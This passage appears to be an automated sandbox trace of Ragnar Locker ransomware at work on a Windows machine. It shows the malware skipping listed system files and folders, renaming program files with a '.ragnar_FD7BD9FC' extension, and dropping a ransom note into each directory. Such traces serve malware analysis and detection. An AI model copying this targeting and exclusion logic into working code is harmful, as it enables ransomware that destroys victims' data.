[0079.181] CloseHandle (hObject=0xffffffff) returned 0 [0079.181] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" [0079.181] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.181] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.181] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0079.181] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.181] lstrcpyW (in: lpString1=0x1eab52, lpString2="push.png" | out: lpString1="push.png") returned="push.png" [0079.181] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png") returned=".png" [0079.181] lstrcmpiW (lpString1="push.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.181] lstrcmpiW (lpString1="push.png", lpString2="autorun.inf") returned 1 [0079.181] lstrcmpiW (lpString1="push.png", lpString2="boot.ini") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="bootfont.bin") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="bootsect.bak") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="bootmgr") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="bootmgr.efi") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="bootmgfw.efi") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="desktop.ini") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="iconcache.db") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="ntldr") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="ntuser.dat") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="ntuser.dat.log") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="ntuser.ini") returned 1 [0079.182] lstrcmpiW (lpString1="push.png", lpString2="thumbs.db") returned -1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.182] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0079.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.182] CloseHandle (hObject=0xffffffff) returned 0 [0079.182] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" [0079.183] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ragnar_FD7BD9FC" [0079.183] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.183] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0079.183] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.183] lstrcpyW (in: lpString1=0x1eab52, lpString2="pushplaysubpicture.png" | out: lpString1="pushplaysubpicture.png") returned="pushplaysubpicture.png" [0079.183] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png") returned=".png" [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="autorun.inf") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootfont.bin") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootsect.bak") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="desktop.ini") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="iconcache.db") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntldr") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat.log") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.ini") returned 1 [0079.183] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="thumbs.db") returned -1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.183] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0079.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.184] CloseHandle (hObject=0xffffffff) returned 0 [0079.184] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" [0079.184] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ragnar_FD7BD9FC" [0079.184] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.184] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0079.184] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.184] lstrcpyW (in: lpString1=0x1eab52, lpString2="push_item.png" | out: lpString1="push_item.png") returned="push_item.png" [0079.184] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png") returned=".png" [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="autorun.inf") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="boot.ini") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="bootfont.bin") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="bootsect.bak") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="bootmgr") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="bootmgr.efi") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="bootmgfw.efi") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="desktop.ini") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="iconcache.db") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="ntldr") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="ntuser.dat") returned 1 [0079.184] lstrcmpiW (lpString1="push_item.png", lpString2="ntuser.dat.log") returned 1 [0079.185] lstrcmpiW (lpString1="push_item.png", lpString2="ntuser.ini") returned 1 [0079.185] lstrcmpiW (lpString1="push_item.png", lpString2="thumbs.db") returned -1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.185] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0079.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.185] CloseHandle (hObject=0xffffffff) returned 0 [0079.185] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" [0079.185] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ragnar_FD7BD9FC" [0079.185] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.185] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="push_title.png", cAlternateFileName="")) returned 1 [0079.185] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.185] lstrcpyW (in: lpString1=0x1eab52, lpString2="push_title.png" | out: lpString1="push_title.png") returned="push_title.png" [0079.185] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png") returned=".png" [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="autorun.inf") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="boot.ini") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="bootfont.bin") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="bootsect.bak") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="bootmgr") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="bootmgr.efi") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="bootmgfw.efi") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="desktop.ini") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="iconcache.db") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="ntldr") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="ntuser.dat") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="ntuser.dat.log") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="ntuser.ini") returned 1 [0079.186] lstrcmpiW (lpString1="push_title.png", lpString2="thumbs.db") returned -1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.186] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png")) returned 0x20 [0079.186] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.187] CloseHandle (hObject=0xffffffff) returned 0 [0079.187] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" [0079.187] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ragnar_FD7BD9FC" [0079.187] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.187] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x816e8060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.187] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.187] lstrcpyW (in: lpString1=0x1eab52, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.187] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.187] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.187] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x816e8060, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x816e8060, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.187] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.187] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f3f2aea, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rectangles", cAlternateFileName="RECTAN~1")) returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2=".") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="..") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Windows") returned -1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Windows.old") returned -1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Tor browser") returned -1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Internet Explorer") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Google") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Opera") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Opera Software") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Mozilla") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="Mozilla Firefox") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="$Recycle.Bin") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="ProgramData") returned 1 [0079.187] lstrcmpiW (lpString1="Rectangles", lpString2="All Users") returned 1 [0079.187] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.187] lstrcpyW (in: lpString1=0x1eb620, lpString2="Rectangles" | out: lpString1="Rectangles") returned="Rectangles" [0079.188] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" [0079.188] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\" [0079.188] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RGNR_FD7BD9FC.txt" [0079.188] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.191] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*" [0079.191] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.191] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.191] lstrcpyW (in: lpString1=0x1ea74a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.191] FindFirstFileW 